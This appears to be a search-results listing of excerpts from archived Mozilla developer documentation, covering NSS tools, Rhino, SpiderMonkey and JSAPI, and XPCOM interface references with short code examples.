id encryption algorithm: pkcs #12 v2 pbe with sha-1 and 3key triple des-cbc parameters: salt: 45:2e:6a:a0:03:4d:7b:a1:63:3c:15:ea:67:37:62:1f iteration count: 1 (0x1) certificate: data: version: 3 (0x2) serial number: 13 (0xd) signature algorithm: pkcs #1 sha-1 with rsa encryption issuer: "e=personal-freemail@thawte.com,cn=thawte personal freemail c a,ou=certification services division,o=thawte consulting,l=cape t own,st=western cape,c=za" ....
...for example: # pk12util -i /tmp/cert-files/users.p12 -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql" this line can be set added to the ~/.bashrc file to make the change permanent.
Rhino Debugger
moving up and down the stack the lower-left (dockable) pane in the debugger main window contains a combo-box labeled "context:" which displays the current stack of the executing script.
... viewing variables the lower-left (dockable) pane in the debugger main window contains a tab-pane with two tabs, labeled "this" and "locals".
Performance Hints
similarly, new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the javascript array.
...for example, the code function myobject(a) { this.s = a; this.tostring = new function("return this.s"); } could be written more efficiently as function myobject(a) { this.s = a; this.tostring = function () { return this.s } } beginning with rhino 1.4 release 2, code passed to eval and new function will be interpreted rather than compiled to class files.
SpiderMonkey compartments
in firefox 4 and above, compartments are used and all javascript objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment.
...it means that a "google.com" object can never accidentally leak into an untrusted website such as "evil.com".
Creating JavaScript jstest reftests
non262 tests the directory js/src/tests/non262/ should contain all tests of the following type: regressions of spidermonkey non-standard spidermonkey extensions to the javascript language test of "implementation-defined" details of the ecmascript standard for example, the exact definition of pi or some details of array sorting.
...for example, reportcompare sometimes considers numbers to be the same if they are "close enough" to each other, even if the == operator would return false.
Bytecodes
the space for a single javascript value is called a "slot", so the categories are: argument slots: holds the actual arguments passed to the current frame.
...there is always a "top of stack" (tos) that corresponds to the latest value pushed onto the expression stack.
Statistics API
var prefs = require("api-utils/preferences-service"); components.utils.import('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (mi...
...if the incremental gc completed normally, this will be "none".
Garbage collection
the mark bitmap has two bits per gc cell, so that it can represent both regular liveness marking ("marked black") as well as reachability from cycle-collected objects ("marked gray").
... gray spidermonkey instead uses "gray" to refer to objects that are not black, but are reachable from "gray roots".
JSClass.flags
an object obj that emulates undefined behaves like any other object, except in the following ways: typeof obj === "undefined" obj converts to false when obj is converted to a boolean when used in boolean contexts (if conditions, loop continuation/termination conditions [for/while/do { } while], the condition in a ternary ?: expression, and so on) (obj == undefined) is true, and (obj != undefined) is false (obj == null) is true, and (obj != null) is false == and != comparisons to values...
...if the global object does not have this flag, then scripts may cause nonstandard behavior by replacing standard constructors or prototypes (such as function.prototype.) objects that can end up with the wrong prototype object, if this flag is not present, include: arguments objects (ecma 262-3 §10.1.8 specifies "the original object prototype"), function objects (ecma 262-3 §13.2 specifies "the original function prototype"), and objects created by many standard constructors (ecma 262-3 §15.4.2.1 and others).
JSClass
the code for such a class is simple: /* spidermonkey 38 */ static jsclass robot_class = { "robot", /* name */ 0 /* flags */ }; /* spidermonkey 31 or older */ static jsclass robot_class = { "robot", /* name */ 0, /* flags */ js_propertystub, js_propertystub, js_propertystub, js_propertystub, js_enumeratestub, js_resolvestub, js_convertstub, null, jsclass_no_optional_members }; to expose this class to scripts, and to attach methods and propertie...
...the javascript engine never touches the private data; it is for the application's use only.) void printer_finalize(jscontext *cx, jsobject *obj) { myprinter *p = (myprinter *) js_getprivate(cx, obj); delete p; } static jsclass printer_class = { "printer", jsclass_has_private, null, null, null, null, null, null, null, printer_finalize }; /* spidermonkey 31 or older * static jsclass printer_class = { * "printer", * jsclass_has_private, * js_propertystub, js_propertystub, js_propertystub, js_strictpropertystub, * js_enumeratestub, js_resolvestub, js_convertstub, printer_finalize, * jsclass_no_optional_m...
JSErrorReport
to counter this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded.
... flags unsigned the logical or of zero or more of the following flags: jsreport_warning this "error" is really only a warning.
JSNewResolveOp
when using jsclass_new_resolve_gets_start, the resolve hook must therefore null *objp to signify "not resolved".
... jsresolve_detecting obsolete since jsapi 20 the property is being used in code like "if (o.p)...", or a similar idiom where the apparent purpose of the property access is to detect whether the property exists.
JSVersion
enumeration value meaning name jsversion_1_0obsolete since jsapi 24 100 javascript 1.0 "1.0" jsversion_1_1obsolete since jsapi 24 110 javascript 1.1 "1.1" jsversion_1_2obsolete since jsapi 24 120 javascript 1.2 "1.2" jsversion_1_3obsolete since jsapi 24 130 javascript 1.3 "1.3" jsversion_1_4obsolete since jsapi 24 140 javascript 1.4 "1.4" jsversion_ecma_3 148 ecma 262 edition 3 "ecmav3" ...
... jsversion_1_5obsolete since jsapi 24 150 javascript 1.5 "1.5" jsversion_1_6 160 javascript 1.6 "1.6" jsversion_1_7 170 javascript 1.7 "1.7" jsversion_1_8 180 javascript 1.8 "1.8" jsversion_ecma_5 185 ecma 262 edition 5 "ecmav5" jsversion_default 0 latest javascript version, but omitting web-incompatible extensions "default" jsversion_unknown -1 unknown javascript version null jsversion_latest jsversion_ecma_5 latest javascript version null see also mxr id search for jsversion js_getversion js_setversion js_stringtoversion js_versiontostring bug 824312 ...
JS_CheckAccess
(this is redundant with passing the string id "__proto__" as id.) jsacc_parent check for permission to read obj's parent.
... (this is redundant with passing the string id "__parent__" as id.) jsacc_import check for permission to import the property.
JS_InitClass
obj js::handleobject pointer to the "globals" object to use for initializing the class.
...they can also have methods and properties that are only present on the constructor; these are called "static methods" and "static properties" because they serve the same purpose and use the same syntax as static methods and fields in java.
JS_LookupElement
note: in the javascript language, numeric properties (also called "elements") are just ordinary properties whose names are numeric strings.
... for example, obj[6] is always exactly the same as obj["6"].
JS_LookupProperty
jsresolve_detecting behave as though the name appeared in an idiom like "if (obj.name) ..." or "obj.name ?
...: ...".
JS_StringToVersion
js_stringtoversion may return any of the following values: string enumeration "1.0" jsversion_1_0 obsolete since jsapi 24 "1.1" jsversion_1_1 obsolete since jsapi 24 "1.2" jsversion_1_2 obsolete since jsapi 24 "1.3" jsversion_1_3 obsolete since jsapi 24 "1.4" jsversion_1_4 obsolete since jsapi 24 "ecmav3" jsversion_ecma_3 "1.5" jsversion_1_5 obsolete since jsapi 24 "1.6" jsversion_1_6 ...
... "1.7" jsversion_1_7 "1.8" jsversion_1_8 other jsversion_unknown see also mxr id search for js_stringtoversion jsversion js_getversion js_setversionforcompartment js_versiontostring bug 824312 ...
JS_VersionToString
js_versiontostring may return any of the following values: enumeration string jsversion_1_0 "1.0" obsolete since jsapi 24 jsversion_1_1 "1.1" obsolete since jsapi 24 jsversion_1_2 "1.2" obsolete since jsapi 24 jsversion_1_3 "1.3" obsolete since jsapi 24 jsversion_1_4 "1.4" obsolete since jsapi 24 jsversion_ecma_3 "ecmav3" jsversion_1_5 "1.5" obsolete since jsapi 24 jsversion_1_6 "1.6" jsversion_1_...
...7 "1.7" jsversion_1_8 "1.8" jsversion_ecma_5 "ecmav5" jsversion_default "default" other null see also mxr id search for js_stringtoversion jsversion js_getversion js_setversionforcompartment js_stringtoversion bug 824312 ...
jschar
jschar is the type of javascript "characters", the 16-bit elements that make up strings.
...(see bug 1063962.) as required by the ecmascript standard, ecma 262-3 §4.3.16", javascript strings are arbitrary sequences of 16-bit values.
SpiderMonkey 31
get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform support spidermonkey 31 is supported on all the platforms where firefox 31 runs.
... obsolete apis js_convertarguments "j" type deleted apis js_newgrowablestring (can be replaced with js_newucstring) js_isconstructing (can be replaced with callargs::isconstructing or callreceiver::isconstructing) js_valuetoboolean (replaced by js::toboolean) js_valuetonumber (can be replaced with js::tonumber) js_valuetoint64 (replaced by js::toint64) js_valuetouint64 (replaced by js::touint64) js_valuetoecmauint32 (repl...
SpiderMonkey 52
that will open a small window in the bottom left with a line like "artifact uploaded:mozjs-52.x.y.tar.bz2".
...you may wish to make the bugs block bug 837921 (aliased as "sm.embedding").
Running Automated JavaScript Tests
there are two test suites, affectionately called "jstests" and "jit-tests".
... command-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "javascript reftests".
SavedFrame
for example, if this frame’s children are calls to handlers for a promise this frame created, this frame’s asynccause would be "promise".
... if the asynchronous call was started in a descendant frame to which the requester of the property does not have access, this will be the generic string "async".
TPS History Lists
for example: var history_initial = [ { uri: "http://www.google.com/", title: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different.
... to a specific page from history, use an object with a uri property to delete all references to all pages from a specific host, use an object with a host property to delete all history in a certain time period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" }, { begin: -24, end: -1 }, { host: "www.google.com" } ]; history lists and phase actions history lists cannot be modified, they can only be added, deleted, and verified, using the following functions: history.add history.delete history.verify history.verifynot ...
Mozilla Projects
mailnews mailnews stands for "mail and newsgroups".
...mozilla calls mccoy a "simple system" which is a clear sign that something probably is not working, and indeed, is not.
Task graph
a "decision task" is created to decide what to do with the push.
... these tasks are arranged in a "task graph", with some tasks (e.g., tests) depending on others (builds).
Mork
MozillaTechMork
the grammar for mork is as follows: file = header ( dictionary | table | group | row )* header = '// <!-- <mdb:mork:z v="1.4"/> -->' dictionary = '<' ( metadictionary | alias )* '>' table = '{' '-'?
...the header is: // <!-- <mdb:mork:z v="1.4"/> --> this file is therefore version 1.4 of the zany mork format for the message database.
STEEL
the library has also been implemented in firefox ("fuel") and in seamonkey ("smile").
...the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/steel/application;1"].getservice(components.interfaces.steeliapplication); other resources steel development plan.
extIApplication
supports: "load", "ready", "quit", "unload" the following interfaces are only available to firefox: attribute type description bookmarks readonly attribute fuelibookmarkroots the root bookmarks object for the application.
...the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/application;1"].getservice(components.interfaces.fueliapplication); see also fuel (firefox), steel (thunderbird) and smile (seamonkey) ...
Making cross-thread calls using runnables
#include "nsthreadutils.h" class piresulttask : public nsrunnable { public: piresulttask(picallback callback, const nsacstring& result) : mcallback(callback) , mresult(result) , mworkerthread(do_getcurrentthread()) { moz_assert(!ns_ismainthread()); // this should be running on the worker thread } ns_imethod run() { moz_assert(ns_ismainthread()); // this method is supposed to ru...
...mcallback(callback) , mdigits(digits) { } ns_imethod run() { nscstring result; calculatepi(mdigits, result); nscomptr<nsirunnable> resultrunnable = new piresulttask(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to start a new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty ...
Interfacing with the XPCOM cycle collector
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n).
...in this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children.
Components.utils.createObjectIn
example to create a new object in the scope of a specified dom window, you can simply do: function genpropdesc(value) { return { enumerable: true, configurable: true, writable: true, value: value }; } var myobject = components.utils.createobjectin(mywindow); var proplist = { name: genpropdesc("name"), date: genpropdesc("date"), id: genpropdesc("id"), func: genpropdesc(function() { alert("called func!"); }) }; object.defineproperties(myobject, proplist); components.utils.makeobjectpropsnormal(myobject); this sets up the new object in the scope of the object mywindow, then adds properties by calling object.defineproperties(), then normalizes them by calling components.utils.makeo...
... to create an object with a specified name, use defineas: var foo = components.utils.createobjectin(mywindow, {defineas: "foo"}); now the target compartment's window has a new global object named foo.
Components.utils.unload
syntax components.utils.unload( url ); parameters url the "resource://" url of the script to unload.
... example you can unload a module called mymodule.jsm using the following line of code: components.utils.unload("resource://myaddon/modules/mymodule.jsm"); note: currently components.utils.unload clears the global object of an unloaded module.
Components.utils.unwaiveXrays
example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection.
...indow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false // use unwaivexrays to undo the waiver var unwaived = components.utils.unwaivexrays(waived); isxray = components.utils.isxraywrapper(unwaived); // true foo = unwaived.foo; // undefined // unwaiving is transit...
XPConnect wrappers
note: wrappers can appear in the console log; for example "[object xraywrapper [object blah]]".
... if you call 'tostring()' and get "[xpconnect wrapped nsifoo]" then the reference is to a xpcwrappednative object with interface nsifoo.
Language bindings
for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files.components.utils.importglobalpropertiesimports various objects into a system scope.components.utils.isxraywrapperwhen privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...it is meant for use by extension developers who have exception handler blocks which want to "eat" an exception, but still want to report it to the console.components.utils.sandboxcomponents.utils.sandbox is used to create a sandbox object for use with evalinsandbox().components.utils.scheduleprecisegcthis method lets scripts schedule a garbage collection cycle.
nsScriptableInputStream
example code const nsiscriptableinputstream = components.interfaces.nsiscriptableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scriptableinputstream;1"]; var sis = factory.createinstance(nsiscriptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data.
... } } catch (e) { dump("error: failed reading from stream:\n" + e + "\n"); } } see also nsiscriptableinputstream ...
NS_ShutdownXPCOM
#include "nsxpcom.h" nsresult ns_shutdownxpcom( nsiservicemanager* asvcmanager ); parameters asvcmanager [in] the nsiservicemanager instance that was returned by ns_initxpcom2 (or ns_initxpcom3) or null.
...calling this method triggers the "xpcom-shutdown" notification to be dispatched to observers.
RefPtr
note: in the above example, "nscomptr<nsfoo>" might compile and work ok (it won't if your xpcom class multiply-inherits nsisupports).
... instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr?
nsSupportsWeakReference
#include "nsweakreference.h" class nssupportsweakreference { ...
... #include "nsweakreference.h" #include "nsifoo.h" class myfoo : public nsifoo, public nssupportsweakreference { public: ns_decl_isupports ns_decl_nsifoo ...
IAccessibleRelation
[propget] hresult relationtype( [out] bstr relationtype ); parameters relationtype the strings returned are defined @ref grprelations "in this section of the documentation".
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
mozIJSSubScriptLoader
to get this service, use: var mozijssubscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); note: see components.utils.import for another way to import javascript code.
... jsval loadsubscript( in string url, in object targetobj optional, in string charset optional, ); example let context = {}; services.scriptloader.loadsubscript("chrome://my-package/content/foo-script.js", context, "utf-8" /* the script's encoding */); parameters url the url pointing to the script to load.
nsIAccessNode
if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed.
... propertyname retrieve the computed style value for this property name, for example "border-bottom".
nsIAuthPrompt2
to create an instance, use: var authprompt2 = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt2); method overview nsicancelable asyncpromptauth(in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo); boolean promptauth(in nsichannel achannel, in pruint32 level, in nsiauthinformation ...
... serialize prompts that are all in the same "context" (this might mean application-wide, for a given window, or something else depending on the user interface) so that the user is not deluged with prompts.
nsICache
the cache service decides which cache device to use based on "some resource management calculation." store_in_memory 1 the storage policy of a cache entry determines the device(s) to which it belongs.
...once the cache entry has been "validated", other descriptors with read access may be opened to the cache entry.
nsIClipboardDragDropHooks
inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate).
...on win32, this will change the cursor to "reject".
nsICommandLine
some flags may take parameters; for example: "-url <param>" or "-install-xpi <param>".
...this is the full text of that argument, so if the argument is a flag, the returned value is "-flag [<flagvalue>]".
nsICommandLineHandler
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler".
...by convention, handlers with ordinary priority should begin with "m".
nsIContentPrefService
to create an instance, use: var contentprefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); method overview void addobserver(in astring aname, in nsicontentprefobserver aobserver); nsivariant getpref(in nsivariant agroup, in astring aname, [optional] in nsicontentprefcallback acallback); nsipropertybag2 getprefs(in nsivariant agroup); ...
...by default, this is the "hostname grouper," which groups uris by full hostname (in otherwords, by site).
nsIContentSniffer
let charset = "iso-8859-1"; try { // this pref has been removed, see bug 910192 charset = services.prefs.getcomplexvalue("intl.charset.default", ci.nsipreflocalizedstring).data; } catch (e) { } let conv = cc["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(c...
...i.nsiscriptableunicodeconverter); conv.charset = charset; try { let str = conv.convertfrombytearray(adata, alength); if (str.substring(0, 5) == "%pdf-") return "application/pdf"; // we detected a pdf file } catch (e) { // try to get information from arequest } ...
nsIDOMStorageManager
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
... all data owned by a domain with the "offline-app" permission is removed from the database.
nsIDragSession
usually the target "frame" sets this so the native system can render the correct feedback.
... boolean isdataflavorsupported( in string adataflavor ); parameters adataflavor a string representing the mime type of the data to be matched, such as "text/unicode".
nsIFeedContainer
common atom and rss fields are normalized, including some namespaced extensions such as "dc:subject" and "content:encoded".
... common namespaces are accessed using prefixes, such as get("dc:subject");.
nsIFrameScriptLoader
for example: let windowmm = window.messagemanager; windowmm.loadframescript('data:,dump("foo\n");', true); this will load a separate instance of the frame script into every tab open in the window associated with this window message manager.
...for example data:,dump("foo\n"); aallowdelayedload boolean if true, this flag means that the frame script will be loaded into any new frames opened after the loadframescript() call, until removedelayedframescript() is called for that script.
nsIINIParserWriter
ini files contain zero or more sections, denoted by a name in square brackets, followed by zero or more lines of text with a property name on the left, then an equals sign ("="), then the value of the property.
... to create an nsiiniparserwriter object, you use the nsiiniparserfactory interface to create a parser, then nsisupports.queryinterface() that to get an nsiiniparserwriter, like this: let writer = components.classes["@mozilla.org/xpcom/ini-processor-factory;1"].
nsIIOService
implemented by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string urlstring); unsigned long getprotocolflags(in string ascheme); nsiprotocolhandler getprotocolhandler(in string ascheme); nsichannel newchannel(i...
..., in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsiuri newfileuri(in nsifile afile); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description offline boolean returns true if networking is in "offline" mode.
nsIJSON
to create an instance, use: var nativejson = components.classes["@mozilla.org/dom/json;1"] .createinstance(components.interfaces.nsijson); method overview note: the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of this article, we'll pretend they can be and ignore that issue.
...only the five unicode encodings "utf-8", "utf-16le", "utf-16be", "utf-32le" and "utf-32be" are supported.
nsILocaleService
to use this service, use: var localeservice = components.classes["@mozilla.org/intl/nslocaleservice;1"] .getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); ...
...this method returns the same as getsystemlocale.getcategory("nsilocale_messages").
nsIMessageBroadcaster
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "broadcasters" don't have a single "other side" that they send messages to, but rather a set of subordinate message managers.
...methods void broadcastasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects); nsimessagelistenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() like sendasyncmessage(), but also broadcasts this message to all "child" message managers of this message manager.
nsIMessenger
to create an instance, use: messenger = components.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js.
...if this window contains a messagepane element (i think this may mean a xul:browser element with its id set to "messagepane"?), then the nsidocshell will be used for future nsimessenger operations.
nsIMsgAccountManagerExtension
an account manager extension with a "name" attribute of "devmo" and the "chromepackagename" attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo".
...simply add a new entry with the contact id of the component to the "mailnews-accountmanager-extensions" category.
nsIMsgCustomColumnHandler
example implementation an example javascript implementation that does nothing: var columnhandler = { iseditable: function(arow, acol) {return false;}, cyclecell: function(arow, acol) { }, getcelltext: function(arow, acol) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird):...
... gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); method overview astring getsortstringforrow(in nsimsgdbhdr ahdr); unsigned long getsortlongforrow(in nsimsgdbhdr ahdr); boolean isstring(); methods getsortstringforrow() if the column displays a string, this will return the string that the column should be sorted by.
nsIMsgDBView
available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data.
...used by "go to folder" feature and "remember last selected message" feature.
nsIMsgFolder
isserver boolean readonly: is this folder the "phantom" server folder?
...outputstream outputstream); copydatadone() void copydatadone(); setjunkscoreformessages() void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); applyretentionsettings() void applyretentionsettings(); fetchmsgpreviewtext() get the beginning of the message bodies for the passed in keys and store them in the msg hdr property "preview".
nsIMsgHeaderParser
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdres...
... the caller may pass nsnull for charset and it will be interpreted as "us-ascii".
nsIMsgMessageService
e.g., header=filter return the nsiuri that gets run example for example, the next piece of code shows the selected message code on a dialog: (taken from mozillazine) var content = ""; var messageuri = getfirstselectedmessage(); var msgservice = messenger.messageservicefromuri(messageuri); var msgstream = components.classes["@mozilla.org/network/sync-stream-listener;1"].createinstance(); var consumer = msgstream.queryinterface(components.interfaces.nsiinputstream); var scriptinput = components.classes["@mozilla.org/scriptableinputstream;1"].createinstance(); var ...
...scriptinputstream = scriptinput.queryinterface(components.interfaces.nsiscriptableinputstream); scriptinputstream.init(consumer); try { msgservice.streammessage(messageuri, msgstream, msgwindow, null, false, null); } catch (ex) { alert("error: "+ex) } scriptinputstream .available(); while (scriptinputstream .available()) { content = content + scriptinputstream .read(512); } alert(content streamheaders() this method streams a message's headers to the passed in consumer.
nsIMsgSearchSession
to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search().
..."dogbert" booleanand set to true if associated boolean operator is and.
nsIProcess2
to create an instance, use: var process2 = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess2); method overview void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an obs...
...the observer will receive this nsiprocess2 instance as the subject and "process-finished" or "process-failed" as the topic.
nsIProcessScriptLoader
for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description aurl string url for the script to load.
...for example data:,dump("foo\n"); aallowdelayedload boolean if this flag is false, the process script will only be loaded into child processes that are already running at the time of the call.
nsIProfile
to get access to the profile manager service: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.nsiprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
... shutdowncurrentprofile() shuts down the current profile; this essentially "logs out" the current profile.
nsIProxyInfo
some special values for this attribute include (but are not limited to) the following: "http" - http proxy (or ssl connect for https) "socks" - socks v5 proxy "socks4" - socks v4 proxy "direct" - no proxy "unknown" - unknown proxy (see nsiprotocolproxyservice.resolve()) a future version of this interface may define additional types.
... constants the following "proxy flags" may be bit-wise combined to construct the flags attribute defined on this interface.
nsISHEntry
to create an instance, use: var shentry = components.classes["@mozilla.org/browser/session-history-entry;1"] .createinstance(components.interfaces.nsishentry); method overview void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate la...
...(prior to gecko 6.0 returned a json encoded string.) sticky boolean whether the content viewer is marked "sticky" windowstate nsisupports saved state of the global window object.
nsIScreen
implemented by: @mozilla.org/gfx/screenmanager;1 as a service: var screen = components.classes["@mozilla.org/gfx/screenmanager;1"] .getservice(components.interfaces.nsiscreen); method overview void getavailrect(out long left, out long top, out long width, out long height); void getrect(out long left, out long top, out long width, out long height); void lockminimumbrightness(in unsigned long brightness); void unlockminimumbrightness(in unsigned long brightness); attributes ...
... example var screenman = components.classes["@mozilla.org/gfx/screenmanager;1"] .getservice(components.interfaces.nsiscreenmanager); var left = {}, top = {}, width = {}, height = {}; screenman.primaryscreen.getrect(left, top, width, height); print([left.value, top.value, width.value, height.value]); see also nsiscreenmanager working with out parameters ...
nsIScriptableInputStream
var {classes: cc, interfaces: ci, results: cr, constructor: cc, utils: cu } = components; var scriptableinputstream = cc("@mozilla.org/scriptableinputstream;1", "nsiscriptableinputstream", "init"); let entry = this.getentry(name); let stream = new scriptableinputstream(this.getinputstream(name)); try { // use readbytes to get binary data, read to read a (null-terminated) string let contents = stream.readbytes(entry.realsize); } finally { stream.close(); } example usage in o...
...var scriptableinputstream = cc("@mozilla.org/scriptableinputstream;1", "nsiscriptableinputstream", "init"); var blah = { data: '', onstartrequest: function (arequest, acontext) { this.data = ''; }, ondataavailable: function(request, context, inputstream, offset, count) { var scriptstream = new scriptableinputstream(inputstream); this.data += scriptstream.read(count); scriptstream.close(); } }; see also nsscriptableinputstream nsiinputstream ...
nsISelection2
for values in between, the point "avpercent" down the frame is placed at the point "avpercent" down the visible area.
...for values in between, the point "ahpercent" across the frame is placed at the point "ahpercent" across the visible area.
nsISmsService
to create an instance, use: var smsservice = components.classes["@mozilla.org/sms/smsservice;1"] .createinstance(components.interfaces.nsismsservice); method overview [implicit_jscontext] nsidommozsmsmessage createsmsmessage(in long id, in domstring delivery, in domstring sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in domstring text); boolean hassu...
... delivery a domstring which can either be "received" or "sent" and is representing the way the sms was delivered.
nsISyncMessageSender
